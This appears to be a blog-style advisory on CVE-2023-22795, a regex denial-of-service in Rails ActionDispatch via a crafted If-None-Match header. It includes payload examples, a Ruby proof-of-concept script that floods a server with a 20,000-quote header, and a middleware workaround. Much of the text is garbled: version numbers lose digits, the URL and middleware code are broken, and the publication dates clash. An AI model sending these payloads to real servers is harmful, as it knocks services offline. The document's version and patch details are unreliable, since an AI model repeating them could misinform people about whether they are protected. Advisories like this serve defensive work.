CVE-2023-22795 - Regular Expression DoS in Action Dispatch’s If-None-Match Header
Published: June 2023
Severity: High
Impact: Denial-of-Service (DoS) via Catastrophic Backtracking
Affected: Rails’ ActionDispatch <6.1.7.1 and <7..4.1 on Ruby <3.2.
Introduction
In early 2023, a Denial-of-Service (DoS) vulnerability was discovered in Rails’ ActionDispatch component, specifically targeting requests that include a maliciously crafted If-None-Match HTTP header (CVE-2023-22795). If you’re running ActionDispatch on Ruby before 3.2. without the Rails patch, your server could be exploited by this vulnerability to consume immense CPU/memory resources, shutting down your web stacks.
What Is the If-None-Match Header?
The If-None-Match HTTP header lets browsers (or clients) tell web servers, “Give me this file only if it does not match the ETag I have.” Rails uses this header (and regular expressions) to determine if a request should be fulfilled or return 304 Not Modified.
What Caused the Vulnerability?
A bug in Rails’ ActionDispatch prior to v6.1.7.1 & v7..4.1 allowed an untrusted client to send a _very complex_ If-None-Match header. Under the hood, Rails uses this regular expression:
# Ruby: actionpack/lib/action_dispatch/http/headers.rb (before patch)
if_none_match = request.headers["If-None-Match"] # from HTTP input
if if_none_match =~ /(^|\s)(W\/)?"([^"]+)"(\s|$)/
# Regular expression backtracks on crafted input!
...
end
The pattern above is vulnerable to catastrophic backtracking if given a long, ill-formed input.
The Problem
If the If-None-Match value is long and almost matches the regex but not quite, the regex engine (especially in Ruby <3.2.) can take exponentially longer to reject it.
This header takes advantage of how regular expressions handle nested or repeating quotes
If-None-Match: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"
Or even more malicious, many repeated backslashes and quotes
If-None-Match: "\"" * 10000
Here’s a simple test on an affected Rails/Ruby setup
require 'net/http'
uri = URI('http://localhost:300/';)
bad_header = "\"" * 20000 # Repeat quote marks
Net::HTTP.start(uri.host, uri.port) do |http|
request = Net::HTTP::Get.new(uri)
request['If-None-Match'] = bad_header
http.request(request) # Causes server to hang or spike CPU
end
When you send this request, because of the poorly designed regular expression, Ruby’s regex engine gets “stuck”, and your Rails process will spike to 100% CPU until it times out (or is killed).
Why Only on Ruby <3.2.?
Ruby 3.2. and above improved their regex engine to better protect against this type of attack. If you're running an older Ruby, your regex is less safe.
No authentication needed: Anyone can send the header.
- Remotely exploitable: Just a single, slow POST/GET can DoS a Puma or Unicorn process.
- Cloud impact: Can drive up your Heroku/AWS resource use and cost.
- Rails maintainers patched this in
- 6.1.7.1
- 7..4.1
- Security announcement
- Patch diff
_If you can’t immediately upgrade Rails:_
Workaround
Reject suspiciously large or malformed If-None-Match headers in middleware
# config/application.rb or in a custom middleware
class IfNoneMatchSanitizer
MAX_ETAG_HEADER = 1024 # or a safe limit
def initialize(app); @app = app; end
def call(env)
if_match = env['HTTP_IF_NONE_MATCH']
if if_match && if_match.size > MAX_ETAG_HEADER
return [400, {"Content-Type" => "text/plain"}, ["Malformed If-None-Match"]]
end
@app.call(env)
end
end
config.middleware.insert_before , IfNoneMatchSanitizer
Summary Table
| Version | Patched? | Safe from DoS? |
|------------------|------------|---------------------|
| <6.1.7.1, <7..4.1 on Ruby <3.2. | ❌ | ❌ (Vulnerable) |
| ≥6.1.7.1, ≥7..4.1 | ✅ | ✅ (Patched) |
| Any version on Ruby ≥3.2. | | ✅ (Ruby mitigated) |
References
- NVD: CVE-2023-22795 Details
- Rails Security Mailing List
- GitHub Security Advisory
Conclusion
CVE-2023-22795 is a classic “little header, big trouble” bug. Fix immediately—either upgrade Rails or use a validating middleware. Never trust user input in HTTP headers, especially when regex is involved. Stay vigilant and secure your Ruby apps!
Timeline
Published on: 02/09/2023 20:15:00 UTC
Last modified on: 03/28/2023 17:55:00 UTC